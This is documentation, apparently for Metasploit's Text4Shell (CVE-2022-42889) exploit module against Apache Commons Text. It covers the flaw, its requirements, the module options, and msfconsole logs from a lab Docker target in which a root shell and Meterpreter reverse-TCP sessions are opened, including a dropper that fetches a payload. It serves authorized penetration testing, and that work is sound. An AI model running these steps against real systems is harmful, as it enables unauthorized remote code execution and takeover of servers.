## Vulnerable Application

This exploit takes advantage of the StringSubstitutor interpolator class,
which is included in the Commons Text library. A default interpolator
allows for string lookups that can lead to Remote Code Execution. This
is due to a logic flaw that makes the “script”, “dns” and “url” lookup
keys interpolated by default, as opposed to what it should be, according
to the documentation of the StringLookupFactory class. Those keys allow
an attacker to execute arbitrary code via lookups primarily using the
"script" key.

In order to exploit the vulnerabilities, the following requirements must
be met:

    Run a version of Apache Commons Text from version 1.5 to 1.9
    Use the StringSubstitutor interpolator
    Target should run JDK < 15

## Testing
Follow the steps in [this](https://github.com/karthikuj/cve-2022-42889-text4shell-docker?tab=readme-ov-file) PoC to setup the environment

## Verification Steps
1. Setup the application
1. Start msfconsole
1. Do: `use apache_commons_text4shell`
1. Set the required options: `RHOST, RPORT, TARGETURI, PARAM, METHOD, TARGET, LHOST`
1. Do: `run`

## Options

### PARAM
The parameter vulnerable to the exploit.

### METHOD
The HTTP method to use. Default: `GET`

### TARGETURI
The URI to target. Default: `/`

## Scenarios

### Apache Commons Text 1.8 on Alpine Linux v3.9

Check:
```
msf6 exploit(multi/http/apache_commons_text4shell) > check

[*] Performing command injection test issuing a sleep command of 5 seconds.
[+] 172.17.0.2:8080 - The target is vulnerable. Successfully tested command injection.
```

Target: java
```
msf6 > use exploit/multi/http/apache_commons_text4shell
[*] Using configured payload java/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_commons_text4shell) > set lhost docker0
lhost => 172.17.0.1
msf6 exploit(multi/http/apache_commons_text4shell) > set rhost 172.17.0.2
rhost => 172.17.0.2
msf6 exploit(multi/http/apache_commons_text4shell) > set rport 8080
rport => 8080
msf6 exploit(multi/http/apache_commons_text4shell) > set targeturi /text4shell/attack
targeturi => /text4shell/attack
msf6 exploit(multi/http/apache_commons_text4shell) > set param search
param => search
msf6 exploit(multi/http/apache_commons_text4shell) > set target 0
target => 0
msf6 exploit(multi/http/apache_commons_text4shell) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Using URL: http://172.17.0.1:8080/cuGgfHN/
[*] Sending stage (57692 bytes) to 172.17.0.2
[*] Meterpreter session 16 opened (172.17.0.1:4444 -> 172.17.0.2:39832) at 2023-12-23 23:03:31 +0530
[*] Server stopped.

meterpreter >
```

Target: Linux Command
```
msf6 exploit(multi/http/apache_commons_text4shell) > set target 3
target => 3
msf6 exploit(multi/http/apache_commons_text4shell) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Command shell session 17 opened (172.17.0.1:4444 -> 172.17.0.2:36446) at 2023-12-23 23:04:10 +0530

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```

Target: Linux Dropper
```
msf6 exploit(multi/http/apache_commons_text4shell) > set target 4
target => 4
msf6 exploit(multi/http/apache_commons_text4shell) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Using URL: http://172.17.0.1:8080/L8kRU1E8O/
[*] Client 172.17.0.2 requested /L8kRU1E8O/
[*] Sending payload to 172.17.0.2
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Command Stager progress - 100.00% done (113/113 bytes)
[*] Meterpreter session 18 opened (172.17.0.1:4444 -> 172.17.0.2:39580) at 2023-12-23 23:04:35 +0530
[*] Server stopped.

meterpreter >
```